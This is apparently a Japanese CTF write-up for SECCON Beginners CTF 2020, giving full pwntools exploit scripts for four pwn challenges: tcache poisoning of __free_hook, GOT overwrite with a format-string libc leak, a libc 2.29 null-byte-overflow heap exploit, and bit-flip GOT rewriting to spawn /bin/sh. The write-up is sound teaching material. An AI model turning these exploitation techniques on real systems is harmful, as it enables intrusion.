イントロ Link to this heading

いつぞや開催されたSECCON Beginners CTF 2020。 競技中はあまり関与せず、molec0n CTFを眺めたり(眺めるだけ)、 課題レポートをやったりしていましたが、終了後に全て解きました。 折角なので writeup を供養します。

Beginner’s Heap Link to this heading

めちゃめちゃ良い教材だと思います、1 年前に出会いたかった…。

libc2.29 における tcache の問題。 指示されたとおりにやっていれば flag が貰えるようになっている。

exploit.py
 1#!/usr/bin/env python
 2#encoding: utf-8;
 3
 4from pwn import *
 5import sys
 6
 7
 8rhp1 = {'host':"bh.quals.beginners.seccon.jp",'port':9002} #for actual server
 9rhp2 = {'host':"localhost",'port':12300} #for localhost
10rhp3 = {'host':"",'port':23947} #for localhost running on docker
11context(os='linux',arch='amd64')
12
13def exploit(conn):
14  conn.recvuntil("free_hook>: ")
15  freehook = int(conn.recvline().rstrip(),16)
16  conn.recvuntil("win>: ")
17  win = int(conn.recvline().rstrip(),16)
18  conn.recvuntil("hint")
19
20  print("win: "+hex(win))
21  print("freehook: "+hex(freehook))
22
23  conn.recvuntil("> ")
24  conn.sendline("2")
25  conn.sendline("A"*8)
26
27  conn.recvuntil("> ")
28  conn.sendline("3")
29
30  conn.recvuntil("> ")
31  conn.sendline("1")
32  conn.send("A"*0x3*0x8 + p64(0x21) + p64(freehook))
33
34  conn.recvuntil("> ")
35  conn.sendline("2")
36  conn.sendline("hoge")
37
38  conn.recvuntil("> ")
39  conn.sendline("1")
40  conn.send("A"*0x18 + p64(0x31))
41
42  conn.recvuntil("> ")
43  conn.sendline("3")
44
45  conn.recvuntil("> ")
46  conn.sendline("2")
47  conn.send(p64(win))
48
49  conn.recvuntil("> ")
50  conn.sendline("3")
51
52if len(sys.argv)>1:
53  if sys.argv[1][0]=="d":
54    cmd = """
55      set follow-fork-mode parent
56    """
57    conn = gdb.debug(FILENAME,cmd)
58  elif sys.argv[1][0]=="r":
59    conn = remote(rhp1["host"],rhp1["port"])
60  elif sys.argv[1][0]=="v":
61    conn = remote(rhp3["host"],rhp3["port"])
62else:
63    conn = remote(rhp2['host'],rhp2['port'])
64exploit(conn)
65conn.interactive()

Elementary Stack Link to this heading

自明な OOB があり heap へのポインタを書換えて GOT overwrite。 got[atol]を直接書き換えると引数も渡せないし、そもそも次のatol()で死ぬため 1 個上のgot[malloc]を書き換える。 あとは FSA で libcbase を leak して終わり

exploit.py
 1#!/usr/bin/env python
 2#encoding: utf-8;
 3
 4from pwn import *
 5import sys
 6
 7FILENAME = "chall"
 8
 9rhp1 = {'host':"es.quals.beginners.seccon.jp",'port':9003} #for actual server
10rhp2 = {'host':"localhost",'port':12800} #for localhost
11rhp3 = {'host':"",'port':23947} #for localhost running on docker
12context(os='linux',arch='amd64')
13binf = ELF(FILENAME)
14libc = ELF("./libc-2.27.so")
15
16def hoge(conn,ix,val):
17  conn.recvuntil("index: ")
18  conn.sendline(str(ix))
19  conn.recvuntil("value: ")
20  conn.sendline(str(val))
21
22
23def fuga(conn,ix,val,piyo=True):
24  conn.recvuntil("index: ")
25  conn.send(ix)
26  if piyo:
27    conn.recvuntil("value: ")
28    conn.send(val)
29
30off_system = 0x4f440
31
32def exploit(conn):
33  hoge(conn,-2,binf.got["malloc"]) # bufferをgot:mallocに向ける(使用するgotに向けるとそいつが呼び出せなくなるから注意)
34  fuga(conn,p64(0xaaaa)+p64(binf.plt["printf"]),"%25$p\n") # atolをprintfにしたあと、atol("%25$p")でlibcbase leak
35
36  libcbase = int(conn.recvline(),16) - 0x21b97
37
38  fuga(conn,p64(0xaaaa)+p64(libcbase + off_system), "/bin/sh\0")
39
40if len(sys.argv)>1:
41  if sys.argv[1][0]=="d":
42    cmd = """
43      set follow-fork-mode parent
44    """
45    conn = gdb.debug(FILENAME,cmd)
46  elif sys.argv[1][0]=="r":
47    conn = remote(rhp1["host"],rhp1["port"])
48  elif sys.argv[1][0]=="v":
49    conn = remote(rhp3["host"],rhp3["port"])
50else:
51    conn = remote(rhp2['host'],rhp2['port'])
52exploit(conn)
53conn.interactive()

ChildHeap Link to this heading

  • double free 可能(libc2.29 だから死ぬけど)
  • 任意 size の malloc 可能
  • ユーザ側で保持できる chunk は一つ
  • NULL overflow
  • chunk をfree()するか float 状態にさせておくかは自由

libc 2.29 の誘導なし heap 問。 但しやることは突飛なことはないが、chunk が一つしか保持できないため若干面倒。 まず NULL overflow を利用して tcache の size を0x100に変えていきtcache[0x100]を溢れさせる。 その途中で tcache のfdを読んで heapbase を leak しておく。 あとはいい感じに chunk forge して back consolidation で overlapped chunk を作って libcbase leak と freehook overwrite をする。 ここらへんは正直メモリを眺めながら何となくで exploit を書いていればできるため、上手く説明のしようがないが。 このあとの exploit でにおいて 「Fig.x」としてある状態のヒープのイメージ図を以下に用意した:

Fig.1

Fig.1

Fig.2

Fig.2

Fig.3

Fig.3

Fig.4

Fig.4

exploit.py
  1#!/usr/bin/env python
  2#encoding: utf-8;
  3
  4from pwn import *
  5import sys
  6
  7FILENAME = "./childheap"
  8
  9rhp1 = {'host':"childheap.quals.beginners.seccon.jp",'port':22476} #for actual server
 10rhp2 = {'host':"localhost",'port':12500} #for localhost
 11rhp3 = {'host':"localhost",'port':23947} #for localhost running on docker
 12context(os='linux',arch='amd64')
 13binf = ELF(FILENAME)
 14libc = ELF("./libc-2.29.so")
 15
 16ogs = [0xe237f,0xe2383,0xe2386,0x106ef8]
 17
 18def hoge(conn,ix):
 19  conn.recvuntil("> ")
 20  conn.sendline(str(ix))
 21
 22def alloc(conn,size,content):
 23  hoge(conn,1)
 24  conn.recvuntil("Size: ")
 25  conn.sendline(str(size))
 26  conn.recvuntil("Content: ")
 27  conn.send(content)
 28
 29def delete(conn,yesno=True):
 30  hoge(conn,2)
 31  conn.recvuntil("Content: '")
 32  data = conn.recvuntil("'")[:-1]
 33  conn.recvuntil("] ")
 34  if yesno:
 35    conn.sendline("y")
 36  else:
 37    conn.sendline("n")
 38  return data
 39
 40def wipe(conn):
 41  hoge(conn,3)
 42
 43def de(conn):
 44  delete(conn)
 45  wipe(conn)
 46
 47def ade(conn,size,overflow=False):
 48  a = "A"*size if overflow else "A"*(size-0x8)
 49  alloc(conn,size,a)
 50  de(conn)
 51
 52def aw(conn,size,overflow=False): # without delete
 53  a = "A"*size if overflow else "A"*(size-0x8)
 54  alloc(conn,size,a)
 55  wipe(conn)
 56
 57off_libc = 0x1e4e90
 58off_freehook = 0x1e75a8
 59off_system = 0x52fd0
 60
 61def exploit(conn):
 62  ssize = 0x18#0x28
 63  msize = 0xf8
 64  lsize = 0x108#0x128
 65
 66  ## fulfill tcache
 67  ade(conn,msize)
 68  for i in range(0x5):
 69    ade(conn,ssize)
 70    ade(conn,lsize)
 71    aw(conn,ssize,True)
 72    ade(conn,lsize)
 73      # now tcache has 6 chunks, 5 of them have fake size
 74
 75  ## leak heap addr
 76  alloc(conn,msize,"A"*8)
 77  delete(conn)
 78  heapbase = unpack(delete(conn,False).ljust(8,'\x00'))-0x710
 79  print("heapbase: "+hex(heapbase))
 80  wipe(conn)
 81
 82
 83  ## forge fake chunk
 84  fake1 = "B" * 0x30
 85  fake1 += p64(heapbase + 0x9b0) + p64(heapbase + 0x9b0)
 86  fake2 = p64(0) + p64(0x100)
 87  fake2 += p64(heapbase + 0x990) + p64(heapbase + 0x990)
 88  ade(conn,ssize)
 89  ade(conn,lsize)
 90  aw(conn,ssize,True)
 91  alloc(conn,lsize,fake1+fake2)
 92  de(conn)
 93  print("Fig.1")
 94                  # tcache[0x100] is full
 95
 96  ade(conn,ssize+0x20)
 97  ade(conn,lsize)
 98  alloc(conn,ssize+0x10,(p64(0)+p64(ssize+0x8+1))*2)
 99  wipe(conn)
100  alloc(conn,ssize+0x20,"C"*(ssize-0x8+0x20)+p64(0x100)) # null overflow
101  de(conn)
102  print("Fig.2")
103
104  alloc(conn,lsize,(p64(0)+p64(0x21))*0x10)
105  print("Fig.3")
106  de(conn) # consolidate
107  print("Fig.4")
108
109  ## leak libcbase
110  alloc(conn,0,"")
111  libcbase = unpack(delete(conn,False).ljust(8,'\x00')) - off_libc
112  print("libcbase: "+hex(libcbase))
113  de(conn)
114
115  ##
116  print("free_hook: "+hex(libcbase+off_freehook))
117  inj = "D"*0xa0
118  inj += p64(libcbase + off_freehook)
119  inj += p64(heapbase + 0x10)
120  alloc(conn,0x128,inj) # overwrite tcache[ssize+0x20]'s fd
121  wipe(conn)
122  alloc(conn,ssize+0x20,"G"*8) #
123  wipe(conn)
124  alloc(conn,ssize+0x20,p64(libcbase + off_system)) # overwrite free_hook
125  wipe(conn)
126
127  alloc(conn,0x70,"/bin/sh\x00")
128  delete(conn,True)
129
130
131
132if len(sys.argv)>1:
133  if sys.argv[1][0]=="d":
134    cmd = """
135      set follow-fork-mode parent
136    """
137    conn = gdb.debug(FILENAME,cmd)
138  elif sys.argv[1][0]=="r":
139    conn = remote(rhp1["host"],rhp1["port"])
140  elif sys.argv[1][0]=="v":
141    conn = remote(rhp3["host"],rhp3["port"])
142else:
143    conn = remote(rhp2['host'],rhp2['port'])
144exploit(conn)
145conn.interactive()

flip Link to this heading

一番難しかった。 終わってみれば若干の工夫こそ必要なもののやったことは複雑じゃないのに。 何故か解くまでにめちゃくちゃ時間がかかった。 というか GOT 問が苦手なのかもしれない。

  • GOT overwrite (setbuf->puts)
  • 相対書換え

got[_stack_chk_fail]got[exit] の書換えを上手く使いわけて、 setbufが呼ばれるループ・呼ばれないループを作り上げる。 なお終盤までflip操作を暗算で行おうとしていたため、脳が死亡した。

exploit.py
  1#!/usr/bin/env python
  2#encoding: utf-8;
  3
  4from pwn import *
  5import sys
  6
  7FILENAME = "flip"
  8
  9rhp1 = {'host':"flip.quals.beginners.seccon.jp",'port':17539} #for actual server
 10rhp2 = {'host':"localhost",'port':12500} #for localhost
 11rhp3 = {'host':"",'port':23947} #for localhost running on docker
 12context(os='linux',arch='amd64')
 13binf = ELF(FILENAME)
 14libc = ELF("./libc-2.27.so")
 15
 16ogs = [0x4f2c5,0x4f322,0x10a38c]
 17
 18def hoge(conn,target,n1,n2):
 19  conn.recvuntil(">> ")
 20  conn.sendline(str(target))
 21  conn.recvuntil(">> ")
 22  conn.sendline(str(n1))
 23  conn.recvuntil(">> ")
 24  conn.sendline(str(n2))
 25
 26def fuga(conn,target,_from,_to):
 27  diff = _from ^ _to
 28  nums = []
 29  tmp = -10
 30  for i,c in enumerate(bin(diff)[2:][::-1]):
 31    if c=='1':
 32      nums = nums + [i]
 33  print(nums)
 34
 35  while len(nums)>0:
 36    n1 = nums[0]
 37    nums = nums[1:]
 38    if len(nums) == 0:
 39      n2 = tmp
 40    else:
 41      n2 = nums[0]
 42      nums = nums[1:]
 43
 44    if n2 != tmp:
 45      if n1//8 != n2//8:
 46        nums = [n2] + nums
 47        n2 = tmp
 48        #print("{} {} {}".format(n1//8,n1%8,n2))
 49        hoge(conn,target+(n1//8),n1%8,n2)
 50      else:
 51        #print("{} {} {}".format(n1//8,n1%8,n2%8))
 52        hoge(conn,target+(n1//8),n1%8,n2%8)
 53    else:
 54      #print("{} {} {}".format(n1//8,n1%8,n2))
 55      hoge(conn,target+(n1//8),n1%8,n2)
 56
 57
 58
 59def exploit(conn):
 60  #got exit を start に
 61  hoge(conn,binf.got["exit"],4,5) # got_exit into start+6
 62  hoge(conn,binf.got["exit"],1,2) # got_exit into start
 63
 64  ## start loop
 65  # stack_chk_fail into main
 66  fuga(conn,binf.got["__stack_chk_fail"],0x0676,0x07fa)
 67  # got[exit] to plt[stack_chk_fail]
 68  fuga(conn,binf.got["exit"],0x06e0,0x0670)
 69
 70  ## main loop
 71  # got[setbuf] into puts
 72  fuga(conn,binf.got["setbuf"],0xf04d0,0xe89c0)
 73  # got[exit] into start
 74  fuga(conn,binf.got["exit"],0x70,0xe0)
 75
 76  ## start loop
 77  # stderr into stderr+0x8
 78  fuga(conn,binf.symbols["stderr"],0x80,0x88)
 79  conn.recvuntil("Done!\n")
 80  conn.recvuntil("\n")
 81  libcbase = unpack(conn.recvuntil("\nI")[:-2].ljust(8,'\x00')) - 0x3ec703
 82  print("[+] libcbase: "+hex(libcbase))
 83
 84################# 以降自由な世界 運が必要ないって素晴らしい ##################
 85
 86  # got[exit] into plt[stack_chk_fail]+6
 87  hoge(conn,binf.got["exit"],4,7)
 88  # got[setbuf] into system
 89  fuga(conn,binf.got["setbuf"],libcbase + libc.symbols["puts"], libcbase + libc.symbols["system"])
 90  # stderr->flag into /bin/sh\x00
 91  fuga(conn,libcbase + libc.symbols["_IO_2_1_stderr_"],0xfbad2087,unpack("/bin/sh\x00"))
 92  # stderr into stderr
 93  fuga(conn,binf.symbols["stderr"],libcbase + libc.symbols["_IO_2_1_stderr_"]+8,libcbase + libc.symbols["_IO_2_1_stderr_"])
 94
 95  # got[stack_chk_fail] into start
 96  fuga(conn,binf.got["exit"],binf.plt["__stack_chk_fail"],binf.symbols["_start"])
 97
 98if len(sys.argv)>1:
 99  if sys.argv[1][0]=="d":
100    cmd = """
101      set follow-fork-mode parent
102    """
103    conn = gdb.debug(FILENAME,cmd)
104  elif sys.argv[1][0]=="r":
105    conn = remote(rhp1["host"],rhp1["port"])
106  elif sys.argv[1][0]=="v":
107    conn = remote(rhp3["host"],rhp3["port"])
108else:
109    conn = remote(rhp2['host'],rhp2['port'])
110exploit(conn)
111conn.interactive()

アウトロ Link to this heading

ルクセンブルクって

ル・クセンブルクなのか

ルクセンブル・クなのか分からないし、

ルクセンブルク大統領に至っては

ル・クセンブルク大統・領なのか

ル・クセンブル・ク大・統領なのかわかんないよな……..